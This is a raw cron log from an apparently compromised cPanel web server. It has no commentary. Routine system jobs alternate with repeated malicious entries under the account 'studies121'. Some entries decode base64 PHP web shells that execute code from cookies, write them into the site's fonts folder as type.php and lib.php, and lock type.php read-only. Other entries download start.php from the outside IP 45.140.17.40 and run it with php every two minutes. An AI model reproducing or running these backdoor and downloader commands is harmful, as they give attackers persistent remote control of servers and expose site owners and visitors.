Sep 11 00:44:01 ip-184-168-122-23 CROND[3116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:44:01 ip-184-168-122-23 CROND[3118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:44:01 ip-184-168-122-23 CROND[3119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:44:01 ip-184-168-122-23 CROND[3120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:44:01 ip-184-168-122-23 CROND[3121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:45:01 ip-184-168-122-23 CROND[3265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:45:01 ip-184-168-122-23 CROND[3267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:45:01 ip-184-168-122-23 CROND[3268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:45:01 ip-184-168-122-23 CROND[3269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:45:01 ip-184-168-122-23 CROND[3270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:45:01 ip-184-168-122-23 CROND[3274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:45:01 ip-184-168-122-23 CROND[3275]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 11 00:46:01 ip-184-168-122-23 CROND[3503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:46:01 ip-184-168-122-23 CROND[3505]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:46:01 ip-184-168-122-23 CROND[3507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:46:01 ip-184-168-122-23 CROND[3506]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 00:46:01 ip-184-168-122-23 CROND[3508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:46:01 ip-184-168-122-23 CROND[3510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:46:01 ip-184-168-122-23 CROND[3509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:47:01 ip-184-168-122-23 CROND[3609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:47:01 ip-184-168-122-23 CROND[3610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:47:01 ip-184-168-122-23 CROND[3612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:47:01 ip-184-168-122-23 CROND[3613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:48:01 ip-184-168-122-23 CROND[3713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:48:01 ip-184-168-122-23 CROND[3712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:48:01 ip-184-168-122-23 CROND[3715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:48:01 ip-184-168-122-23 CROND[3717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:48:01 ip-184-168-122-23 CROND[3716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:49:01 ip-184-168-122-23 CROND[3810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:49:01 ip-184-168-122-23 CROND[3811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:49:01 ip-184-168-122-23 CROND[3812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:49:01 ip-184-168-122-23 CROND[3814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:50:01 ip-184-168-122-23 CROND[3911]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:50:01 ip-184-168-122-23 CROND[3914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:50:01 ip-184-168-122-23 CROND[3917]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:51:01 ip-184-168-122-23 CROND[4089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:51:01 ip-184-168-122-23 CROND[4091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:51:01 ip-184-168-122-23 CROND[4092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:51:01 ip-184-168-122-23 CROND[4093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:52:01 ip-184-168-122-23 CROND[4175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:52:01 ip-184-168-122-23 CROND[4177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:52:01 ip-184-168-122-23 CROND[4178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:52:01 ip-184-168-122-23 CROND[4176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:52:01 ip-184-168-122-23 CROND[4180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:53:01 ip-184-168-122-23 CROND[4279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:53:01 ip-184-168-122-23 CROND[4280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:53:01 ip-184-168-122-23 CROND[4283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:53:01 ip-184-168-122-23 CROND[4282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:54:01 ip-184-168-122-23 CROND[4361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 00:54:01 ip-184-168-122-23 CROND[4363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:54:01 ip-184-168-122-23 CROND[4367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:54:01 ip-184-168-122-23 CROND[4366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:54:01 ip-184-168-122-23 CROND[4365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:55:01 ip-184-168-122-23 CROND[4449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 00:55:01 ip-184-168-122-23 CROND[4453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:55:01 ip-184-168-122-23 CROND[4455]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:55:01 ip-184-168-122-23 CROND[4452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:55:01 ip-184-168-122-23 CROND[4451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:55:01 ip-184-168-122-23 CROND[4454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 00:56:01 ip-184-168-122-23 CROND[4647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
